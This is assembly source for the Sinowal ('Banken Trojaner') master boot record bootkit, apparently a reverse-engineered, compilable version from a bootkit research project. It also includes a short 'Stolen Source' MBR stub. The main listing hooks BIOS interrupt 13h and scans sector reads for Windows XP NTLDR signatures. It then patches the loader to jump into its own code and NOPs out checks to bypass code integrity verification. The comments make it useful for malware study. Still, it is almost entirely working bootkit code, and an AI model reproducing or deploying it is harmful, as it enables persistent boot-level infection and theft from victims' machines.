[Stolen Source] ; create 16 bit code and assembly only instructions up to 386 instruction set [bits 16] CPU 386 xor ax, ax mov ss, ax mov sp, 7C00h sti push ax pop es push ax pop ds push ds pushad cld mov si, 7C1Bh mov di, 61Bh push ax push di mov cx, 1E5h rep movsb retf xor bx,bx mov es,bx ; segment 0 mov ax,0x201 ; function read sectors, read 1 sector mov cx,10 ; read original boot code (sector 10), boot sector mov dx,80h ; boot drive mov bh,0x7c ; address 7C00h int 13h popad pop ds ; execute original Master Boot Record jmp word 0000h:7C00h times 510-($-$$) db 0 Boot_Signature dw 0AA55h [Original] ; Sinowal Bootkit ; called "Banken Rootkit" or referred as "Banken Trojaner" ; www.viennacomputerproducts.com/reverseengineering ; compilable version, Stoned-Project (www.stoned-vienna.com) ; - Attacking Windows XP ; - Memory resistent up to Windows Kernel ; - loads payload from hard disk ; create 16 bit code and assembly only instructions up to 386 instruction set [bits 16] CPU 386 ; no origin used, this code is portable cli xor bx,bx ; set up a new clean stack mov ss,bx mov [ss:7BFEh],sp mov sp,7BFEh ; store registers - will be later restored when executing original MBR push ds pushad cld ; copy itself to end of memory ; BIOS Data Area: MEM 0040h:0013h - BASE MEMORY SIZE IN KBYTES mov ds,bx mov si,0x413 ; linear address of 0040h:0013h sub [si],word 2 ; - 2048 kbytes, 4 sectors lodsw shl ax,6 mov es,ax ; es = address of free memory (2048 bytes) mov si,7C00h xor di,di mov ecx,256 ; copy 512 bytes (the bootloader) rep movsw ; read boot virus data! (appending the new memory to the moved bootloader sector) mov ax,0x202 ; function read sectors, read 2 sectors mov cl,61 ; sector 60, 2 data stuff sectors mov dx,80h ; boot drive (default) mov bx,di ; = pointer after the 512 copied bytes int 13h ; hook int 13h xor bx,bx mov eax,[bx + 13h * 4] ; IVT, vector 13h mov [bx + 13h * 4],word Interrupt_Vector_13_hook ; new address to jump to on "int 13h" instruction mov [es:Interrupt_Vector_13_Return_Address + 3],eax ; store the old jump address mov [bx + 13h * 4 + 2],es ; set segment to jump to on int 13h ; set address of copy push es push word Relocated_Bootloader ; ..and jump to copy retf Relocated_Bootloader: ; read original master boot record of Windows and execute it sti mov es,bx ; segment 0 mov ax,0x201 ; function read sectors, read 1 sector mov cx,63 ; read original boot code (sector 62), boot sector mov dx,80h ; boot drive mov bh,0x7c ; address 7C00h int 13h ; restore registers popad pop ds pop sp ; execute original Master Boot Record jmp word 0000h:7C00h ; now our background "service" starts, we get control only by int 13 ; the code is now located at the end of memory (most likely 9F400h) Interrupt_Vector_13_hook: pushf ; Interrupt Vector 13 hook ; check if functions "Read" or "Extended Read" are requested cmp ah,42h ; Extended Read? jz Handle_Int13_Function cmp ah,2h ; Read jz Handle_Int13_Function ; ...or read! popf Interrupt_Vector_13_Return_Address: ; jump to the original Int 13h handler (segment:offset will be patched dynamical) jmp word 0000h:0000h Handle_Int13_Function: ; execute int 13h read mov [cs:Int_Patch_Function_Number + 1],ah ; store function number (patch) popf pushf ; simulate "int 13h" instruction (store flags) call [cs:Interrupt_Vector_13_Return_Address + 1] ; forward the read sector command and return here jc Exit_Int13_hook_ret ; if error => exit to user ; set environment for int 13h hook handler pushf cli push es pushad ; push register contents, we modify it in our hook handler cld ; load int 13h parameters set by user (and note normalize the param differences between normal read and extended read) mov ah,0 ; transfered sectors (read: al, extended read: disk address packet.02h) Int_Patch_Function_Number: mov ch,0 ; restore function number (from the patch applied at @7A) cmp ch,42h ; if extended read special load values jnz Int_Params_normalized Extended_Read_set_Disk_Address_Packet: lodsw ; load values from disk address packet lodsw ; +02h = [word] number of blocks to transfer les bx,[si] ; +04h = transfer buffer Int_Params_normalized: test ax,ax ; ax = number of sectors transfered jnz Int_Params_SectorCount_set inc ax ; sector count = minimum 1 Int_Params_SectorCount_set: ; now scan the read buffer for the signature of ntldr ; ++ 8B F0 85 F6 74 21/22 80 3D ; ===> Windows XP.NTLDR +26B9Fh mov cx,ax shl cx,0x9 ; sectors * 512 mov al,0x8b ; scan byte mov di,bx ; data buffer offset of sector pusha Scan_Read_Sector_loop: repne scasb ; scan Bootloader for 8Bh jnz NTLDR_delete_routine ; if not found ecx=0 => exit nop cmp [es:di],dword 0x74f685f0 ; check around signatures jnz Scan_Read_Sector_loop ; if not matching => next try cmp [es:di+0x5],word 0x3d80 jnz Scan_Read_Sector_loop ; if not matching => next try mov al,[es:di+0x4] cmp al,0x21 jz Found_File_to_Infect cmp al,0x22 jnz Scan_Read_Sector_loop Found_File_to_Infect: mov si,20Bh cmp [cs:si],byte 0 ; in virus data (2 sectors) jnz NTLDR_delete_routine ; if already infected => exit mov [cs:si],al ; mark as infected and set in missing code byte ; infect ntldr mov [es:di-0x1],word 15FFh ; ntldr (the code which jumps to the pointer) mov eax,cs shl eax,4 add ax,0x200 mov [cs:0x1fc],eax ; set the pointer (this resides in ourself) sub ax,0x4 mov [es:di+1],eax ; ntldr (the code which jumps to the pointer) ; 0x9F4DB INFECTION written to 46B9F on disk @ntldr.26B9Fh FF 15, opcode.call dword ; 0x9F4EB INFECTION written to 9F5FC on disk sector 0 at end pointer to PM code (* = memory.9F600h, disk.sector60) ; 0x9F4F3 INFECTION written to 46BA1 on disk @ntldr.26BA1h pointer to the pointer ; ; infected code in ntldr is now: @ntldr.26B9Fh ; 00046b9f: ( 32 Bit Code w ): call dword ptr ds:0x9f5fc ; ff15fcf50900 ; 00046ba5: ( 32 Bit Code inv ): cmp byte ptr ds:0x43aef8, 0x00 ; 803df8ae430000 ; 00046bac: ( 32 Bit Code inv ): jz .+0x00000007 ; 7407 ; 00046bae: ( 32 Bit Code inv ): xor esi, esi ; 33f6 ; 00046bb0: ( 32 Bit Code inv ): jmp .+0x00000255 ; e955020000 ; ; and was original: @ntldr.26B9Fh ; 00046b9f: ( 32 Bit Code ): mov esi, eax ; 8bf0 ; 00046ba1: ( 32 Bit Code ): test esi, esi ; 85f6 ; 00046ba3: ( 32 Bit Code ): jz .+0x00000021 ; 7421 ; 00046ba5: ( 32 Bit Code ): cmp byte ptr ds:0x43aef8, 0x00 ; 803df8ae430000 ; 00046bac: ( 32 Bit Code ): jz .+0x00000007 ; 7407 ; ; the infected code in the ntldr will be relocated to protected mode memory 0x00422a6f ; ; it will jump to 9F600h which is stage 2 (executed by ntldr) ; 00422a6f: ( ): call dword ptr ds:0x9f5fc ; ff15fcf50900 ; scan the read buffer for a part of the ntldr ; ++ 83 C4 02 E9 00 00 E9 FD FF ; ===> Windows XP.NTLDR +1C81h ; ===> Windows XP.NTLDR +1C9Ch this is the real searched one NTLDR_delete_routine: popa mov al,0x83 ; *** PROGRAMMING ERROR *** ; *** EDI AND ECX ARE NOT RESETTED HERE, IF MICROSOFT WOULD READ NTLDR AT ONCE THIS WOULD FAIL *** Scan_Sector_loop_2: repne scasb jnz Restore_Flags_and_exit ; if not found exit cmp [es:di],dword 00E902C4h jnz Scan_Sector_loop_2 cmp [es:di+0x4],dword 0FFFDE900h jnz Scan_Sector_loop_2 mov [es:di-0x4],dword 83909090h ; set 3 bytes to instruction nop and [es:di+0x6],word 0 ; modify jump operation, set highest byte to zero jmp short Scan_Sector_loop_2 ; our signature occurs 2 times ; 1. @ntldr.1C81h ; ; memory dump, @ntldr.1C81h, memory.21c81 ; 0x0000000000021c7e : 0xe8 0x39 0x0c 0x83 0xc4 0x02 0xe9 0x00 ; 0x0000000000021c86 : 0x00 0xe9 0xfd 0xff ; ; memory disassembly, @ntldr.1C81h, memory.21c81 ; 00021c7d: ( 32 Bit Code inv ): sbb eax, ebp ; 19e8 INVALID ; 00021c7f: ( 32 Bit Code ): cmp dword ptr ds:[ebx+eax*4], ecx ; 390c83 ; 00021c82: ( 32 Bit Code ): les eax, ds:[edx] ; c402 ; 00021c84: ( 32 Bit Code ): jmp .+0xfde90000 ; e90000e9fd ; ; modified memory dump ; 0x0000000000021c7e : 0x90 0x90 0x90 0x83 0xc4 0x02 0xe9 0x00 ; 0x0000000000021c86 : 0x00 0xe9 0x00 0x00 ; ; modified disassembly ; 00021c7e: ( ): nop ; 90 ; 00021c7f: ( ): nop ; 90 ; 00021c80: ( ): nop ; 90 ; 00021c81: ( ): add esp, 0x00000002 ; 83c402 ; 00021c84: ( ): jmp .+0x00e90000 ; e90000e900 ; 2. @ntldr.1C9Ch ; ; memory dump, @ntldr.1C9Ch, memory.21c9c ; 0x0000000000021c99 : 0xe8 0x1e 0x0c 0x83 0xc4 0x02 0xe9 0x00 ; 0x0000000000021ca1 : 0x00 0xe9 0xfd 0xff ; ; memory disassembly, @ntldr.1C9Ch, memory.21c9c ; 00021c98: ( 32 Bit Code inv ): sbb eax, ebp ; 19e8 INVALID ; 00021c9a: ( 32 Bit Code ): push ds ; 1e ; 00021c9b: ( 32 Bit Code ): or al, 0x83 ; 0c83 ; 00021c9d: ( 32 Bit Code ): les eax, ds:[edx] ; c402 ; 00021c9f: ( 32 Bit Code ): jmp .+0xfde90000 ; e90000e9fd ; ; modified memory dump ; 0x0000000000021c99 : 0x90 0x90 0x90 0x83 0xc4 0x02 0xe9 0x00 ; 0x0000000000021ca1 : 0x00 0xe9 0x00 0x00 ; ; modified disassembly ; 00021c99: ( 32 Bit Code ): nop ; 90 ; 00021c9a: ( 32 Bit Code ): nop ; 90 ; 00021c9b: ( 32 Bit Code ): nop ; 90 ; 00021c9c: ( 32 Bit Code ): add esp, 0x00000002 ; 83c402 ; 00021c9f: ( 32 Bit Code ): jmp .+0x00e90000 ; e90000e900 ; the modification is done to bypass code integrity verification (even it's not evident from the patched lines) Restore_Flags_and_exit: ; everything done, exit interrupt 13h hook popad pop es popf Exit_Int13_hook_ret: retf 2 ; simulate "iretw" instruction, to preserve flags (especially flags.CF) ; language descriptions [unset] times 1B5h-($-$$) db 0 ; Microsoft Error linguistic messages [unused] Error_Message_1_length db 0 Error_Message_2_length db 0 Error_Message_3_length db 0 ; Microsoft Disk Signature times 440-($-$$) db 0 disk_signature dd 00000000h ; will be set/corrected by infector dw 0 ; Partition Table, 16 bytes each entry times 1BEh-($-$$) db 0 Partition_Table_Entry_1: Partition_1_bootable db 80h ; default boot partition (MS Windows) Partition_1_Start_CHS db 01, 01, 00 Partition_1_Type db 7 ; NTFS file system Partition_1_End_CHS db 0FEh, 0BFh, 08h Partition_1_Start_LBA dd 63 ; NTFS file system starts, boot sector Partition_1_Sectors dd 8AB67Fh ; = 4 GB (9090687 * 512 / 1024 / 1024 / 1024) Partition_Table_Entry_2: Partition_2_bootable db 0 Partition_2_Start_CHS db 0, 0, 0 Partition_2_Type db 0 Partition_2_End_CHS db 0, 0, 0 Partition_2_Start_LBA dd 0 Partition_2_Sectors dd 0 Partition_Table_Entry_3: Partition_3_bootable db 0 Partition_3_Start_CHS db 0, 0, 0 Partition_3_Type db 0 Partition_3_End_CHS db 0, 0, 0 Partition_3_Start_LBA dd 0 Partition_3_Sectors dd 0 Partition_Table_Entry_4: Partition_4_bootable db 0 Partition_4_Start_CHS db 0, 0, 0 Partition_4_Type db 0 Partition_4_End_CHS db 0, 0, 0 Partition_4_Start_LBA dd 0 Partition_4_Sectors dd 0 ; here -2 values from the boot signature we will store a pointer times 510-($-$$) db 0 Boot_Signature dw 0AA55h